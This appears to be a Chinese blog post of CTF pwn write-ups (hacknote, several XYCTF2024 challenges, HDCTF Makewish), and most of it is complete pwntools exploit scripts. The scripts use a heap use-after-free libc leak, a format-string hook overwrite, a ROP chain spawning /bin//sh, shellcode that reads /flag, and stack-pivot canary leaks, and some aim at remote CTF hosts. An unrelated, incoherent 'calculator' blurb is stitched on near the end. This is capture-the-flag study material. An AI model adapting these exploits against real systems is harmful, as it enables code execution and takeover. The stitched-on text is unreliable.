sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./hacknote')
p=remote("node5.buuoj.cn",29780)
elf = ELF('./hacknote')
libc = ELF('libc-2.23.so_16_32')
#debug('b *0x08048879')
def add(size,data):
    sla(b'Your choice :',b'1')
    sla(b'Note size :',str(size))
    sla(b'Content :',data)
def free(idx):
    sla(b'Your choice :',b'2')
    sla(b'Index :',str(idx))
def show(idx):
    sla(b'Your choice :',b'3') 
    sla(b'Index :',str(idx))
def exit(idx,data):
    sla(b'Your choice :',b'4')



add(0x20, b'a')
add(0x20, b'b')
free(0)
free(1)

add(0x8,p32(0x804862b)+p32(elf.got["puts"]))
show(0)

libc_base=u32(p.recv(4))-libc.sym["puts"]
lg('libc_base',libc_base)

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'sh\x00'))

free(2)
add(0x8, p32(system) + b';sh\x00') #3

show(0)
#p.recv()
p.interactive()

[XYCTF2024_PWN]fmt

也是被自己贫瘠的知识储备给整笑了,大佬的wp连看都看不懂。

from pwn import *
from pwn import p64
io = process('./vuln')
#io = remote('127.0.0.1', 63338)
myelf = ELF('./vuln')
libc = ELF('./libc-2.31.so')
backdoor = 0x4012be
io.recvuntil('0x')
printf = int(io.recv(12), 16)
log.info(hex(printf))
libc.address = printf - libc.symbols['printf']
system = libc.symbols['system']
hook = libc.address+0x222f68
gdb.attach(io, 'b *0x40128d')
io.sendline(b'%7$s\x00\x00\x00\x00' + p64(hook))
#gdb.attach(io, 'b *0x40129e')
pause()
io.sendline(p64(backdoor))
io.interactive()

自己写的时候没写出来,看wp是通过修改libc中的exit函数的hook,来实现getshell的。我觉得这个和打main函数的_fini_array理论是应该是一样的,那么我们把这个hook修改为one_gadget或者backdoor,那么再执行libc_exit是时就可以getshell了。但是关键在于这个libc_exit的hook怎么去找,又怎么去改。可能对于大佬来说不过是喝喝水的功夫,而我查了一上午资料才明白了个大概(QaQ别骂我,我看wp之前根本还不知道libc中也可以打这个),那么,我简单说说吧。这个exit感觉在只能在动调的时,能找到,可能有其他的方法,但是这种方法是最有效的,注意不要用gdb vuln直接动调,在脚本里面调试,不然可能会有风水问题。最后获得rtld_gob..l+3848的地址,注意不要把那个堆块认为是libc_base了。

那么这个scanf是怎么实现任意地址修改的呢?算了有心者不用教,无心者学不会。直接贴exp了

from pwn import *
from pwn import p64
io = process('./vuln')
#io = remote('127.0.0.1', 63338)
myelf = ELF('./vuln')
libc = ELF('./libc-2.31.so')
backdoor = 0x4012be
io.recvuntil('0x')
printf = int(io.recv(12), 16)
log.info(hex(printf))
libc.address = printf - libc.symbols['printf']
system = libc.symbols['system']
hook = libc.address+0x222f68
gdb.attach(io, 'b *0x40128d')
io.sendline(b'%7$s\x00\x00\x00\x00' + p64(hook))
#gdb.attach(io, 'b *0x40129e')
pause()
io.sendline(p64(backdoor))
io.interactive()

[XYCTF2024_PWN]static_link

静态编译的题目,直接ropchain秒了

from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
#p = process('./vuln')
p = remote("localhost",38145)
elf = ELF('vuln')

def get_payload():
	p = b'a'*(0x28)

	p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
	p += pack('<Q', 0x00000000004c50e0) # @ .data
	p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
	p += b'/bin//sh'
	p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
	p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
	p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
	p += pack('<Q', 0x000000000044a465) # mov qword ptr [rsi], rax ; ret
	p += pack('<Q', 0x0000000000401f1f) # pop rdi ; ret
	p += pack('<Q', 0x00000000004c50e0) # @ .data
	p += pack('<Q', 0x0000000000409f8e) # pop rsi ; ret
	p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
	p += pack('<Q', 0x0000000000451322) # pop rdx ; ret
	p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
	p += pack('<Q', 0x000000000043d1b0) # xor rax, rax ; ret
	p += pack('<Q', 0x0000000000447fe7) # pop rax ; ret
	p+=p64(0x3b)
	p += pack('<Q', 0x0000000000401cd4) # syscall
	return p
        
        
        
        
p.sendline(get_payload())
p.interactive()

[XYCTF2024_PWN]invisible_flag

用openat代替open,sendfile代替write(之前本来想用pread+pwrite)的但是pwrite好像出了点问题,那么就直接用open+sendfile出flag了,当时也是太犟了,想着非得给它用pwrite写出来,exp :

from pwn import *
context.arch = 'amd64'
context.os = 'linux'

# 创建一个进程并附加gdb调试器
#p = process("./vuln")
p=remote("localhost",36825)
#gdb.attach(p)

# 缓冲区地址
buf =0x114514000


# 构造 shellcode
sc = shellcraft.openat(3, b"/flag", 0)  # 使用 0 作为文件描述符
sc += shellcraft.pread(3, buf, 0x30, 0)  # 读取文件内容到缓冲区
sc+= shellcraft.sendfile(1,3, 0, 1024) # 将缓冲区内容写入到标准输出
p.recv()
# 编译 shellcode
sc_binary = asm(sc)

# 发送 shellcode 到目标程序
p.send(sc_binary)

# 等待程序输出
print(p.recv())

# 构造 payload
payload = p64(0)  # 这里只是一个示例 payload

# 发送 payload
p.send(payload)

# 进入交互模式
p.interactive()

[XYCTF2024_PWN]guestbook1

可以看到&id[index]存在数组越界,那么这样的话就可以溢出一个字节,那么就可以对rbp最后一个字节更改,同时在GuestBook函数销毁栈帧时调用了一次leave ret,而且在main函数销毁栈帧时也调用了一次leave ret 那么这样我们就可以随缘站迁移,当然看了大佬的wp,之后他们从索引为0开始填充,这样概率更大,最后注意栈平衡,就可以getshell了exp如下:

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
       
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
debug('b *0x401316')

for i in range (0,33):

    p.sendlineafter('index\n',str(i))
    payload= p64(0x00401328) + p64(0x00401328)
    p.sendafter('name:\n',payload)
    p.sendlineafter('id:\n',b'0')


p.sendlineafter('index\n',b'-1')


pause()
inter()


[HDCTF 2023]Makewish

一眼鉴定为伪随机数+栈迁移。通过模拟c语言环境来获得伪随机数v5为707但是值得注意的是,如果你直接./pwn然后输入707,并不会进入vuln函数。通过调试可以发现,对比的是16进制码,那么我们就需要将707转成16进制,再用p32()打包发送。然后puts(buf)可以用来泄露canary,再接着看vuln函数,这里的栈迁移成因与上面一题类似,在此不在赘述。那么通过vuln中read函数可把rbp的最低位字节置0,其实这题的攻击原理也会xyctf的guestbook类似,那么填入canary之后,就可以随缘栈迁移了

from pwn import *
p=process("./pwn")
#p=remote("node4.anna.nssctf.cn",28969)
print(p.recv())
p.send(b'a'*(0x25)+b'st0p')

#gdb.attach(p)
print(p.recvuntil(b'st0p'))
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
sleep(1)
print(p.recv())
p.send(p32(0x2c3))
print(p.recv())
payload=p64(0x4007CB)*11+p64(canary)
p.send(payload)
p.recv()
p.interactive()

都说了是随缘了,打不通多试几次。

  • 28
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
欢迎来到我的计算器!根据引用\[2\]中的信息,这个计算器可以进行加法、减法、乘法和除法运算。你可以输入两个数字进行计算。如果你输入的不是数字,系统会提示你重新输入。根据引用\[3\]中的信息,计算器会不断循环,直到你输入"q"退出。在循环中,计算器会根据你输入的操作符进行相应的计算,并将结果显示出来。如果你输入的操作符是"%", "*", "/",并且上一个操作符不是"+"或"-",那么计算器会先计算上一个操作符的运算结果,然后再进行新的运算。如果你输入的操作符是"+"或"-",计算器会先完成上一个操作符的计算,然后将新的操作符添加到操作符数组中。根据引用\[1\]中的信息,返回地址存储在ebp下面,偏移360+1字处。所以,欢迎来到我的计算器!请问有什么问题我可以帮助你解答的吗? #### 引用[.reference_title] - *1* *3* [pwnable.tw 题解笔记](https://blog.csdn.net/zhb_51666/article/details/100559569)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [C PRIMER PLUS第八章第八题计算器](https://blog.csdn.net/multydoffer/article/details/122890268)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值